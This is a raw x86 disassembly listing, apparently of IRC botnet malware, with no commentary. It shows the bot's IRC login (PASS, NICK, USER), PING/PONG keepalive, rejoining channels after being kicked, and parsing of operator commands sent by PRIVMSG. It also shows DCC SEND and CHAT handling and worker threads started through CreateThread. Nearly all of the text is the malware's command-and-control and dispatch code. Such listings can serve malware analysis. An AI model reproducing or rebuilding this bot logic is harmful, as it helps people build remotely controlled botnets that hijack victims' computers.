pop eax
loc_40EABD: ; CODE XREF: sub_40E961+164j
pop edi
pop esi
leave
retn 4
; ---------------------------------------------------------------------------
loc_40EAC3: ; CODE XREF: sub_40E961+5Aj
xor eax, eax
jmp short loc_40EABD
sub_40E961 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40EAC7 proc near ; CODE XREF: sub_40E961+123p
var_1A10 = byte ptr -1A10h
var_A10 = byte ptr -0A10h
var_240 = byte ptr -240h
var_1A0 = byte ptr -1A0h
var_A0 = byte ptr -0A0h
var_20 = byte ptr -20h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
mov eax, 1A10h
call sub_417830
push ebx
push esi
push edi
xor ebx, ebx
push 2
mov [ebp+var_8], ebx
lea eax, [ebp+var_1A0]
pop ecx
loc_40EAE5: ; CODE XREF: sub_40EAC7+26j
mov [eax], bl
add eax, 80h
dec ecx
jnz short loc_40EAE5
cmp byte_48926A, bl
jz short loc_40EB0C
push offset byte_48926A
push offset aPassS ; "PASS %s\r\n"
push [ebp+arg_0]
call sub_40D430
add esp, 0Ch
loc_40EB0C: ; CODE XREF: sub_40EAC7+2Ej
push [ebp+arg_C]
lea eax, [ebp+var_20]
push ebx
push ebx
push 2
push eax
call sub_415A3A
add esp, 10h
push eax
lea eax, [ebp+var_A0]
push [ebp+arg_C]
push offset aNickSUserS00S ; "NICK %s\r\nUSER %s 0 0 :%s\r\n"
push eax
call sub_416FB6
add esp, 14h
lea eax, [ebp+var_A0]
push ebx
push eax
call sub_4177B0
pop ecx
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+arg_0]
call dword_43EB74 ; send
cmp eax, 0FFFFFFFFh
jnz short loc_40EB76
push [ebp+arg_0]
call dword_43EBBC ; closesocket
push 1388h
call dword_423064 ; Sleep
loc_40EB6F: ; CODE XREF: sub_40EAC7+D9j
; sub_40EAC7+153j
xor eax, eax
loc_40EB71: ; CODE XREF: sub_40EAC7+16Fj
; sub_40EAC7+177j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_40EB76: ; CODE XREF: sub_40EAC7+92j
; sub_40EAC7+F8j ...
mov esi, 1000h
lea eax, [ebp+var_1A10]
push esi
push ebx
push eax
call sub_417030
add esp, 0Ch
lea eax, [ebp+var_1A10]
push ebx
push esi
push eax
push [ebp+arg_0]
call dword_43EB3C ; recv
test eax, eax
jle short loc_40EB6F
lea eax, [ebp+var_A10]
push eax
lea eax, [ebp+var_1A10]
push eax
call sub_40A6A1
pop ecx
cmp eax, ebx
pop ecx
mov [ebp+var_C], eax
mov [ebp+var_4], ebx
jle short loc_40EB76
lea edi, [ebp+var_A10]
loc_40EBC7: ; CODE XREF: sub_40EAC7+165j
xor esi, esi
inc esi
loc_40EBCA: ; CODE XREF: sub_40EAC7+144j
push [ebp+arg_1C]
lea eax, [ebp+var_8]
push esi
push eax
lea eax, [ebp+var_240]
push eax
lea eax, [ebp+var_1A0]
push eax
push [ebp+arg_18]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
push dword ptr [edi]
call sub_40EC43
add esp, 2Ch
dec eax
mov esi, eax
cmp esi, ebx
jle short loc_40EC0D
push 7D0h
call dword_423064 ; Sleep
jmp short loc_40EBCA
; ---------------------------------------------------------------------------
loc_40EC0D: ; CODE XREF: sub_40EAC7+137j
cmp esi, 0FFFFFFFDh
jz short loc_40EC3B
cmp esi, 0FFFFFFFEh
jz short loc_40EC33
cmp esi, 0FFFFFFFFh
jz loc_40EB6F
inc [ebp+var_4]
add edi, 4
mov eax, [ebp+var_4]
cmp eax, [ebp+var_C]
jl short loc_40EBC7
jmp loc_40EB76
; ---------------------------------------------------------------------------
loc_40EC33: ; CODE XREF: sub_40EAC7+14Ej
xor eax, eax
inc eax
jmp loc_40EB71
; ---------------------------------------------------------------------------
loc_40EC3B: ; CODE XREF: sub_40EAC7+149j
push 2
pop eax
jmp loc_40EB71
sub_40EAC7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40EC43 proc near ; CODE XREF: sub_40EAC7+12Ap
var_2924 = byte ptr -2924h
var_2524 = byte ptr -2524h
var_2324 = byte ptr -2324h
var_2124 = byte ptr -2124h
var_2024 = byte ptr -2024h
var_1F24 = byte ptr -1F24h
var_1F20 = byte ptr -1F20h
var_1E20 = dword ptr -1E20h
var_1E1C = dword ptr -1E1Ch
var_1E18 = byte ptr -1E18h
var_1D98 = byte ptr -1D98h
var_1D18 = byte ptr -1D18h
var_1C98 = byte ptr -1C98h
var_1C18 = byte ptr -1C18h
var_1B98 = dword ptr -1B98h
var_1B94 = dword ptr -1B94h
var_1B90 = dword ptr -1B90h
var_1B8C = dword ptr -1B8Ch
var_1B88 = byte ptr -1B88h
var_1B08 = byte ptr -1B08h
var_1A88 = byte ptr -1A88h
var_1A08 = byte ptr -1A08h
var_1988 = dword ptr -1988h
var_1984 = dword ptr -1984h
var_1980 = dword ptr -1980h
var_197C = dword ptr -197Ch
var_1978 = dword ptr -1978h
var_1974 = byte ptr -1974h
var_18F4 = byte ptr -18F4h
var_1874 = byte ptr -1874h
var_17F4 = dword ptr -17F4h
var_17F0 = dword ptr -17F0h
var_17EC = dword ptr -17ECh
var_17E8 = dword ptr -17E8h
var_17E4 = byte ptr -17E4h
var_17E0 = byte ptr -17E0h
var_16E0 = dword ptr -16E0h
var_16DC = byte ptr -16DCh
var_16D8 = dword ptr -16D8h
var_16D4 = byte ptr -16D4h
var_1654 = byte ptr -1654h
var_15D8 = byte ptr -15D8h
var_1550 = byte ptr -1550h
var_14D4 = dword ptr -14D4h
var_14D0 = dword ptr -14D0h
var_14CC = dword ptr -14CCh
var_14C8 = byte ptr -14C8h
var_144C = dword ptr -144Ch
var_1448 = dword ptr -1448h
var_1444 = dword ptr -1444h
var_1440 = dword ptr -1440h
var_143C = dword ptr -143Ch
var_1438 = byte ptr -1438h
var_13B8 = byte ptr -13B8h
var_138C = byte ptr -138Ch
var_1388 = byte ptr -1388h
var_1338 = byte ptr -1338h
var_1308 = byte ptr -1308h
var_12C8 = byte ptr -12C8h
var_12B8 = byte ptr -12B8h
var_1238 = dword ptr -1238h
var_1234 = dword ptr -1234h
var_1230 = dword ptr -1230h
var_122C = dword ptr -122Ch
var_1228 = dword ptr -1228h
var_1220 = byte ptr -1220h
var_11A0 = byte ptr -11A0h
var_1120 = dword ptr -1120h
var_111C = dword ptr -111Ch
var_1118 = dword ptr -1118h
var_1110 = dword ptr -1110h
var_110C = dword ptr -110Ch
var_1108 = dword ptr -1108h
var_1100 = dword ptr -1100h
var_10FC = byte ptr -10FCh
var_FF8 = dword ptr -0FF8h
var_FF4 = byte ptr -0FF4h
var_F74 = byte ptr -0F74h
var_E75 = byte ptr -0E75h
var_E74 = byte ptr -0E74h
var_D74 = dword ptr -0D74h
var_D70 = dword ptr -0D70h
var_D6C = dword ptr -0D6Ch
var_D68 = dword ptr -0D68h
var_D64 = dword ptr -0D64h
var_D60 = dword ptr -0D60h
var_D5C = dword ptr -0D5Ch
var_D58 = dword ptr -0D58h
var_D54 = dword ptr -0D54h
var_D50 = byte ptr -0D50h
var_CD0 = byte ptr -0CD0h
var_CC4 = byte ptr -0CC4h
var_CB4 = dword ptr -0CB4h
var_CB0 = byte ptr -0CB0h
var_C74 = dword ptr -0C74h
var_C70 = byte ptr -0C70h
var_C30 = byte ptr -0C30h
var_BF0 = byte ptr -0BF0h
var_B70 = byte ptr -0B70h
var_AF0 = dword ptr -0AF0h
var_AEC = dword ptr -0AECh
var_AE8 = dword ptr -0AE8h
var_AE4 = dword ptr -0AE4h
var_AE0 = dword ptr -0AE0h
var_ADC = dword ptr -0ADCh
var_AD8 = dword ptr -0AD8h
var_AD4 = dword ptr -0AD4h
var_AD0 = byte ptr -0AD0h
var_AC4 = byte ptr -0AC4h
var_AC0 = byte ptr -0AC0h
var_A50 = byte ptr -0A50h
var_9D0 = dword ptr -9D0h
var_9CC = dword ptr -9CCh
var_9C8 = dword ptr -9C8h
var_9C4 = dword ptr -9C4h
var_9C0 = byte ptr -9C0h
var_95F = byte ptr -95Fh
var_95E = byte ptr -95Eh
var_95C = byte ptr -95Ch
var_95B = byte ptr -95Bh
var_952 = byte ptr -952h
var_950 = byte ptr -950h
var_94E = byte ptr -94Eh
var_94D = byte ptr -94Dh
var_8C0 = byte ptr -8C0h
var_874 = dword ptr -874h
var_86C = byte ptr -86Ch
var_860 = dword ptr -860h
var_85C = byte ptr -85Ch
var_858 = byte ptr -858h
var_75C = byte ptr -75Ch
var_754 = byte ptr -754h
var_6DC = dword ptr -6DCh
var_6D4 = dword ptr -6D4h
var_6D0 = dword ptr -6D0h
var_6CC = dword ptr -6CCh
var_6C8 = dword ptr -6C8h
var_6C4 = dword ptr -6C4h
var_6C0 = dword ptr -6C0h
var_6BC = byte ptr -6BCh
var_63C = byte ptr -63Ch
var_5BC = dword ptr -5BCh
var_5B8 = dword ptr -5B8h
var_5B4 = dword ptr -5B4h
var_5B0 = dword ptr -5B0h
var_5AC = dword ptr -5ACh
var_5A8 = dword ptr -5A8h
var_5A4 = dword ptr -5A4h
var_5A0 = dword ptr -5A0h
var_59C = byte ptr -59Ch
var_58C = byte ptr -58Ch
var_50C = byte ptr -50Ch
var_48C = dword ptr -48Ch
var_488 = dword ptr -488h
var_484 = dword ptr -484h
var_480 = dword ptr -480h
var_47C = dword ptr -47Ch
var_470 = dword ptr -470h
var_46C = dword ptr -46Ch
var_464 = dword ptr -464h
var_460 = dword ptr -460h
var_45C = dword ptr -45Ch
var_458 = dword ptr -458h
var_450 = byte ptr -450h
var_434 = dword ptr -434h
var_430 = byte ptr -430h
var_42C = dword ptr -42Ch
var_428 = byte ptr -428h
var_41C = dword ptr -41Ch
var_418 = byte ptr -418h
var_3B0 = byte ptr -3B0h
var_3A8 = dword ptr -3A8h
var_3A4 = dword ptr -3A4h
var_3A0 = dword ptr -3A0h
var_39C = dword ptr -39Ch
var_398 = dword ptr -398h
var_394 = dword ptr -394h
var_390 = dword ptr -390h
var_38C = dword ptr -38Ch
var_388 = dword ptr -388h
var_384 = dword ptr -384h
var_380 = dword ptr -380h
var_37C = dword ptr -37Ch
var_378 = byte ptr -378h
var_350 = byte ptr -350h
var_330 = dword ptr -330h
var_304 = dword ptr -304h
var_300 = dword ptr -300h
var_2FC = dword ptr -2FCh
var_2F8 = dword ptr -2F8h
var_2F4 = dword ptr -2F4h
var_2F0 = dword ptr -2F0h
var_2EC = byte ptr -2ECh
var_EC = dword ptr -0ECh
var_E8 = dword ptr -0E8h
var_E4 = word ptr -0E4h
var_E2 = word ptr -0E2h
var_E0 = dword ptr -0E0h
var_D4 = byte ptr -0D4h
var_BC = dword ptr -0BCh
var_B8 = byte ptr -0B8h
var_AC = dword ptr -0ACh
var_A8 = dword ptr -0A8h
var_A4 = byte ptr -0A4h
var_94 = dword ptr -94h
var_90 = dword ptr -90h
var_8C = dword ptr -8Ch
var_88 = dword ptr -88h
var_84 = dword ptr -84h
var_80 = dword ptr -80h
var_7C = dword ptr -7Ch
var_54 = byte ptr -54h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = byte ptr -14h
var_13 = byte ptr -13h
var_12 = byte ptr -12h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
arg_24 = dword ptr 2Ch
arg_28 = dword ptr 30h
push ebp
mov ebp, esp
mov eax, 2924h
call sub_417830
push ebx
push esi
mov esi, 200h
push edi
xor ebx, ebx
push esi
lea eax, [ebp+var_2EC]
push ebx
push eax
mov [ebp+var_BC], 3
mov [ebp+var_10], ebx
mov [ebp+var_AC], ebx
mov [ebp+var_8], ebx
mov [ebp+var_4], ebx
mov [ebp+var_EC], ebx
call sub_417030
push 1Bh
lea eax, [ebp+var_450]
push [ebp+arg_10]
push eax
call sub_418910
add esp, 18h
cmp [ebp+arg_0], ebx
jz loc_40F098
push esi
lea eax, [ebp+var_2324]
push ebx
push eax
call sub_417030
dec esi
lea eax, [ebp+var_2324]
push esi
push [ebp+arg_0]
push eax
call sub_418910
lea eax, [ebp+var_2324]
push offset asc_437C50 ; " :"
push eax
call sub_417580
mov [ebp+var_C], eax
lea eax, [ebp+var_2324]
push esi
push eax
lea eax, [ebp+var_2524]
push eax
call sub_418910
mov esi, offset asc_429420 ; " "
lea eax, [ebp+var_2524]
push esi
push eax
call sub_41886E
xor edi, edi
add esp, 34h
mov [ebp+var_94], eax
inc edi
loc_40ED09: ; CODE XREF: sub_40EC43+DAj
push esi
push ebx
call sub_41886E
mov [ebp+edi*4+var_94], eax
inc edi
pop ecx
cmp edi, 20h
pop ecx
jl short loc_40ED09
mov esi, [ebp+var_94]
cmp esi, ebx
jz loc_40F098
cmp [ebp+var_90], ebx
jz loc_40F098
push 100h
lea eax, [ebp+var_9C0]
push ebx
push eax
call sub_417030
add esp, 0Ch
push 1Fh
pop edx
loc_40ED51: ; CODE XREF: sub_40EC43+142j
lea ecx, [ebp+edx*4+var_94]
mov eax, [ecx]
cmp eax, ebx
jz short loc_40ED84
cmp byte ptr [eax], 2Dh
jnz short loc_40ED87
cmp [eax+2], bl
jnz short loc_40ED87
movsx esi, byte ptr [eax+1]
mov [ecx], ebx
mov [ebp+esi+var_9C0], 1
mov esi, [ebp+var_94]
mov [eax], bl
mov [eax+1], bl
mov [eax+2], bl
loc_40ED84: ; CODE XREF: sub_40EC43+119j
dec edx
jns short loc_40ED51
loc_40ED87: ; CODE XREF: sub_40EC43+11Ej
; sub_40EC43+123j
xor edi, edi
inc edi
cmp [ebp+var_94D], bl
jz short loc_40ED95
mov [ebp+var_8], edi
loc_40ED95: ; CODE XREF: sub_40EC43+14Dj
cmp [ebp+var_952], bl
jz short loc_40EDA3
mov [ebp+var_8], ebx
mov [ebp+var_4], edi
loc_40EDA3: ; CODE XREF: sub_40EC43+158j
cmp byte ptr [esi], 0Ah
jz short loc_40EDDD
push 7Fh
lea eax, [ebp+var_D50]
push esi
push eax
call sub_418910
lea eax, [esi+1]
push 17h
push eax
lea eax, [ebp+var_D4]
push eax
call sub_418910
lea eax, [ebp+var_D4]
push offset asc_437C4C ; "!"
push eax
call sub_41886E
add esp, 20h
loc_40EDDD: ; CODE XREF: sub_40EC43+163j
push esi
push offset aPing ; "PING"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jnz short loc_40EE2E
push [ebp+var_90]
mov byte ptr [esi+1], 4Fh
push offset aPongS ; "PONG %s\r\n"
push [ebp+arg_4]
call sub_40D430
mov eax, [ebp+arg_20]
add esp, 0Ch
cmp [eax], ebx
jnz loc_40EED2
push [ebp+arg_C]
push [ebp+arg_8]
push offset aJoinSS ; "JOIN %s %s\r\n"
push [ebp+arg_4]
call sub_40D430
add esp, 10h
jmp loc_40EED2
; ---------------------------------------------------------------------------
loc_40EE2E: ; CODE XREF: sub_40EC43+1A9j
mov esi, [ebp+var_90]
push esi
push offset a001 ; "001"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_414E65
push esi
push offset a005 ; "005"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_414E65
push esi
push offset a302 ; "302"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jnz short loc_40EE99
push offset a@ ; "@"
push [ebp+var_88]
call sub_417580
pop ecx
cmp eax, ebx
pop ecx
jz short loc_40EED2
inc eax
push 9Fh
push eax
push [ebp+arg_1C]
call sub_418910
add esp, 0Ch
jmp short loc_40EED2
; ---------------------------------------------------------------------------
loc_40EE99: ; CODE XREF: sub_40EC43+22Aj
push esi
push offset a433 ; "433"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jnz short loc_40EED9
push ebx
push dword_489264
push dword_42E924
push [ebp+arg_10]
call sub_415A3A
push [ebp+arg_10]
push offset aNickS ; "NICK %s\r\n"
push [ebp+arg_4]
call sub_40D430
add esp, 1Ch
loc_40EED2: ; CODE XREF: sub_40EC43+1CAj
; sub_40EC43+1E6j ...
mov eax, edi
jmp loc_40F09B
; ---------------------------------------------------------------------------
loc_40EED9: ; CODE XREF: sub_40EC43+265j
mov esi, [ebp+arg_18]
mov [ebp+var_E8], 2
mov edi, 80h
loc_40EEEB: ; CODE XREF: sub_40EC43+2CDj
lea eax, [ebp+var_D50]
push eax
push esi
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jnz short loc_40EF08
mov [ebp+var_AC], 1
loc_40EF08: ; CODE XREF: sub_40EC43+2B9j
add esi, edi
dec [ebp+var_E8]
jnz short loc_40EEEB
mov esi, [ebp+var_90]
push esi
push offset aKick ; "KICK"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jnz loc_40EFF1
mov esi, [ebp+arg_18]
mov [ebp+arg_24], 2
loc_40EF37: ; CODE XREF: sub_40EC43+373j
cmp [esi], bl
jz short loc_40EFB1
push 7Fh
lea eax, [ebp+var_D50]
push esi
push eax
call sub_418910
add esp, 0Ch
cmp [ebp+var_88], ebx
jz short loc_40EFB1
push [ebp+var_88]
lea eax, [ebp+var_D4]
push eax
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jnz short loc_40EFB1
lea eax, [ebp+var_D4]
mov [esi], bl
push eax
lea eax, [ebp+var_2EC]
push offset unk_437BD0
push eax
call sub_416FB6
lea eax, [ebp+var_2EC]
push eax
lea eax, [ebp+var_D4]
push eax
push offset aNoticeSS ; "NOTICE %s :%s\r\n"
push [ebp+arg_4]
call sub_40D430
lea eax, [ebp+var_2EC]
push eax
call sub_40BD8D
add esp, 20h
loc_40EFB1: ; CODE XREF: sub_40EC43+2F6j
; sub_40EC43+310j ...
add esi, edi
dec [ebp+arg_24]
jnz loc_40EF37
push [ebp+var_88]
push [ebp+arg_10]
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jnz loc_40F098
push [ebp+arg_C]
mov eax, [ebp+arg_20]
push [ebp+arg_8]
mov [eax], ebx
push offset aJoinSS ; "JOIN %s %s\r\n"
loc_40EFE4: ; CODE XREF: sub_40EC43+5D6j
; sub_40EC43+918j
push [ebp+arg_4]
call sub_40D430
jmp loc_41464E
; ---------------------------------------------------------------------------
loc_40EFF1: ; CODE XREF: sub_40EC43+2E4j
push esi
push offset aNick ; "NICK"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jnz loc_40F12D
mov eax, [ebp+var_8C]
mov esi, [ebp+arg_18]
inc eax
mov [ebp+arg_0], 2
mov [ebp+arg_24], eax
loc_40F01A: ; CODE XREF: sub_40EC43+429j
lea eax, [ebp+var_D50]
push eax
push esi
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jnz short loc_40F067
lea eax, [ebp+var_D50]
push 21h
push eax
call sub_418C50
pop ecx
cmp eax, ebx
pop ecx
mov [ebp+arg_1C], eax
jz short loc_40F067
push [ebp+arg_24]
lea edi, [esi+2]
mov byte ptr [esi], 3Ah
lea eax, [edi-1]
push eax
call sub_4176C0
push [ebp+arg_1C]
push edi
call sub_4176D0
add esp, 10h
mov edi, 80h
loc_40F067: ; CODE XREF: sub_40EC43+3E8j
; sub_40EC43+3FFj
add esi, edi
dec [ebp+arg_0]
jnz short loc_40F01A
cmp [ebp+arg_24], ebx
jz short loc_40F098
push [ebp+arg_10]
lea eax, [ebp+var_D4]
push eax
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jnz short loc_40F0A0
push 0Fh
push [ebp+arg_24]
push [ebp+arg_10]
call sub_418910
add esp, 0Ch
loc_40F098: ; CODE XREF: sub_40EC43+5Bj
; sub_40EC43+E4j ...
xor eax, eax
inc eax
loc_40F09B: ; CODE XREF: sub_40EC43+291j
; sub_40EC43+29AEj ...
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_40F0A0: ; CODE XREF: sub_40EC43+443j
mov edi, [ebp+arg_18]
xor esi, esi
loc_40F0A5: ; CODE XREF: sub_40EC43+483j
cmp [edi], bl
jz short loc_40F0BC
lea eax, [ebp+var_D50]
push eax
push edi
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz short loc_40F0CA
loc_40F0BC: ; CODE XREF: sub_40EC43+464j
inc esi
add edi, 80h
cmp esi, 2
jl short loc_40F0A5
jmp short loc_40F098
; ---------------------------------------------------------------------------
loc_40F0CA: ; CODE XREF: sub_40EC43+477j
lea eax, [ebp+var_D50]
push 21h
push eax
call sub_418C50
pop ecx
cmp eax, ebx
pop ecx
mov [ebp+arg_0], eax
jz short loc_40F098
push eax
call sub_4177B0
push [ebp+arg_24]
mov edi, eax
call sub_4177B0
add edi, eax
pop ecx
cmp edi, 7Eh
pop ecx
ja short loc_40F098
push [ebp+arg_0]
shl esi, 7
push [ebp+arg_24]
add esi, [ebp+arg_18]
push offset aSS_1 ; ":%s%s"
push esi
call sub_416FB6
push ebx
lea eax, [ebp+var_350]
push ebx
push eax
push [ebp+arg_8]
push [ebp+arg_4]
call sub_40D476
add esp, 24h
jmp loc_40F098
; ---------------------------------------------------------------------------
loc_40F12D: ; CODE XREF: sub_40EC43+3BDj
push esi
push offset aPart ; "PART"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz short loc_40F14F
push esi
push offset aQuit ; "QUIT"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jnz short loc_40F176
loc_40F14F: ; CODE XREF: sub_40EC43+4F9j
mov edi, [ebp+arg_18]
xor esi, esi
loc_40F154: ; CODE XREF: sub_40EC43+531j
cmp [edi], bl
jz short loc_40F16A
push [ebp+var_94]
push edi
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz short loc_40F1BD
loc_40F16A: ; CODE XREF: sub_40EC43+513j
inc esi
add edi, 80h
cmp esi, 2
jl short loc_40F154
loc_40F176: ; CODE XREF: sub_40EC43+50Aj
push [ebp+var_90]
push offset a353 ; "353"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jnz loc_40F21E
push [ebp+var_84]
push [ebp+arg_8]
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jnz short loc_40F1AD
mov eax, [ebp+arg_20]
mov dword ptr [eax], 1
loc_40F1AD: ; CODE XREF: sub_40EC43+55Fj
push [ebp+var_84]
push offset dword_437B74
jmp loc_414E59
; ---------------------------------------------------------------------------
loc_40F1BD: ; CODE XREF: sub_40EC43+525j
mov eax, [ebp+arg_18]
shl esi, 7
mov [esi+eax], bl
lea eax, [ebp+var_D4]
push eax
lea eax, [ebp+var_2EC]
push offset unk_437B44
push eax
call sub_416FB6
lea eax, [ebp+var_2EC]
push eax
call sub_40BD8D
push [ebp+var_90]
push offset aPart ; "PART"
call sub_4173D0
add esp, 18h
test eax, eax
jnz loc_40F098
lea eax, [ebp+var_2EC]
push eax
mov eax, [ebp+var_94]
inc eax
push eax
push offset aNoticeSS ; "NOTICE %s :%s\r\n"
jmp loc_40EFE4
; ---------------------------------------------------------------------------
loc_40F21E: ; CODE XREF: sub_40EC43+547j
push [ebp+var_90]
mov esi, offset aPrivmsg ; "PRIVMSG"
push esi
call sub_4173D0
pop ecx
mov edi, offset aNotice ; "NOTICE"
test eax, eax
pop ecx
jz short loc_40F272
push [ebp+var_90]
push edi
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz short loc_40F272
push [ebp+var_90]
push offset dword_437B40
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jnz loc_414CDE
cmp dword_42E910, ebx
jz loc_414CDE
loc_40F272: ; CODE XREF: sub_40EC43+5F5j
; sub_40EC43+607j
push [ebp+var_90]
push esi
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_40F3EB
push [ebp+var_90]
push edi
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_40F3EB
mov eax, [ebp+var_88]
inc [ebp+var_84]
mov [ebp+var_BC], 4
mov [ebp+var_8C], eax
loc_40F2BA: ; CODE XREF: sub_40EC43+867j
; sub_40EC43+8EDj ...
mov eax, [ebp+var_BC]
mov esi, eax
shl esi, 2
lea edi, [ebp+esi+var_94]
mov eax, [edi]
push eax
push offset dword_437B38
mov [ebp+arg_8], eax
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jnz loc_40F6D4
push [ebp+esi+var_90]
push offset aSend_0 ; "SEND"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jnz loc_40F59C
cmp [ebp+var_AC], ebx
jz loc_40F572
push [ebp+esi+var_8C]
mov edi, offset aS_3 ; "%s"
lea eax, [ebp+var_858]
push edi
push eax
call sub_416FB6
push [ebp+esi+var_88]
lea eax, [ebp+var_86C]
push edi
push eax
call sub_416FB6
push [ebp+esi+var_84]
call sub_41751F
mov [ebp+var_6D4], eax
mov eax, [ebp+arg_4]
mov [ebp+var_874], eax
lea eax, [ebp+var_D4]
push 7Fh
push eax
lea eax, [ebp+var_754]
push eax
call sub_418910
mov eax, [ebp+var_4]
mov [ebp+var_6CC], eax
mov eax, [ebp+var_8]
mov [ebp+var_6C8], eax
lea eax, [ebp+var_754]
push eax
lea eax, [ebp+var_858]
push eax
lea eax, [ebp+var_2EC]
push offset dword_437AF4
push eax
call sub_416FB6
push ebx
lea eax, [ebp+var_2EC]
push 12h
push eax
call sub_416A7A
add esp, 44h
mov [ebp+var_6D0], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_874]
push ebx
push eax
push offset sub_40C6D2
push ebx
push ebx
call dword_4230A0 ; CreateThread
mov ecx, [ebp+var_6D0]
imul ecx, 234h
cmp eax, ebx
mov dword_44457C[ecx], eax
jz loc_4136F1
jmp loc_40F568
; ---------------------------------------------------------------------------
loc_40F3EB: ; CODE XREF: sub_40EC43+63Fj
; sub_40EC43+655j
push [ebp+var_90]
push edi
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jnz short loc_40F404
mov [ebp+var_4], 1
loc_40F404: ; CODE XREF: sub_40EC43+7B8j
cmp [ebp+var_8C], ebx
jz loc_40F098
push (offset loc_4279FF+1)
push [ebp+var_8C]
call sub_417580
pop ecx
test eax, eax
pop ecx
jz short loc_40F42B
cmp [ebp+var_4], ebx
jz short loc_40F437
loc_40F42B: ; CODE XREF: sub_40EC43+7E1j
lea eax, [ebp+var_D4]
mov [ebp+var_8C], eax
loc_40F437: ; CODE XREF: sub_40EC43+7E6j
cmp [ebp+var_88], ebx
jz loc_40F098
inc [ebp+var_88]
jz short loc_40F481
cmp [ebp+arg_10], ebx
jz short loc_40F481
lea eax, [ebp+var_450]
push eax
call sub_4177B0
push eax
lea eax, [ebp+var_450]
push [ebp+var_88]
push eax
call sub_418AA0
add esp, 10h
neg eax
sbb eax, eax
add eax, 4
mov [ebp+var_BC], eax
jmp short loc_40F487
; ---------------------------------------------------------------------------
loc_40F481: ; CODE XREF: sub_40EC43+806j
; sub_40EC43+80Bj
mov eax, [ebp+var_BC]
loc_40F487: ; CODE XREF: sub_40EC43+83Cj
mov esi, eax
shl esi, 2
mov edi, [ebp+esi+var_94]
cmp edi, ebx
jz loc_40F098
push edi
push offset dword_437AE8
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jnz loc_40F2BA
mov ecx, [ebp+var_8C]
cmp byte ptr [ecx], 23h
jz short loc_40F521
mov eax, dword_489270
mov eax, off_42EA08[eax*4]
cmp [eax], bl
jz short loc_40F521
push eax
push ecx
push offset dword_437ACC
push [ebp+arg_4]
call sub_40D430
lea eax, [ebp+var_D4]
push eax
lea eax, [ebp+var_2EC]
push offset aSHasJustVersio ; "%s has just versioned me."
push eax
call sub_416FB6
lea eax, [ebp+var_2EC]
push eax
call sub_40BD8D
add esp, 20h
cmp [ebp+var_AC], ebx
jnz loc_40F098
push ebx
lea eax, [ebp+var_2EC]
push 1
push eax
push offset dword_489184
jmp loc_41449D
; ---------------------------------------------------------------------------
loc_40F521: ; CODE XREF: sub_40EC43+876j
; sub_40EC43+886j
push edi
push offset dword_437AA8
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jnz loc_40F2BA
mov esi, [ebp+esi+var_90]
cmp esi, ebx
jz loc_40F2BA
mov eax, [ebp+var_8C]
cmp byte ptr [eax], 23h
jz loc_40F2BA
push esi
push eax
push offset dword_437A90
jmp loc_40EFE4
; ---------------------------------------------------------------------------
loc_40F560: ; CODE XREF: sub_40EC43+92Bj
push 32h
call dword_423064 ; Sleep
loc_40F568: ; CODE XREF: sub_40EC43+7A3j
cmp [ebp+var_6C4], ebx
jz short loc_40F560
jmp short loc_40F594
; ---------------------------------------------------------------------------
loc_40F572: ; CODE XREF: sub_40EC43+6C4j
lea eax, [ebp+var_D4]
push eax
lea eax, [ebp+var_2EC]
push [ebp+esi+var_8C]
push offset dword_437A40
push eax
call sub_416FB6
add esp, 10h
loc_40F594: ; CODE XREF: sub_40EC43+92Dj
; sub_40EC43+A6Aj ...
xor esi, esi
inc esi
jmp loc_4115E2
; ---------------------------------------------------------------------------
loc_40F59C: ; CODE XREF: sub_40EC43+6B8j
push [ebp+esi+var_90]
push offset aChat ; "CHAT"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jnz loc_40F6EA
cmp [ebp+var_AC], ebx
jz loc_40F6C3
push 13h
call sub_416CBC
test eax, eax
pop ecx
jnz loc_40F6B2
push [ebp+esi+var_88]
lea eax, [ebp+var_86C]
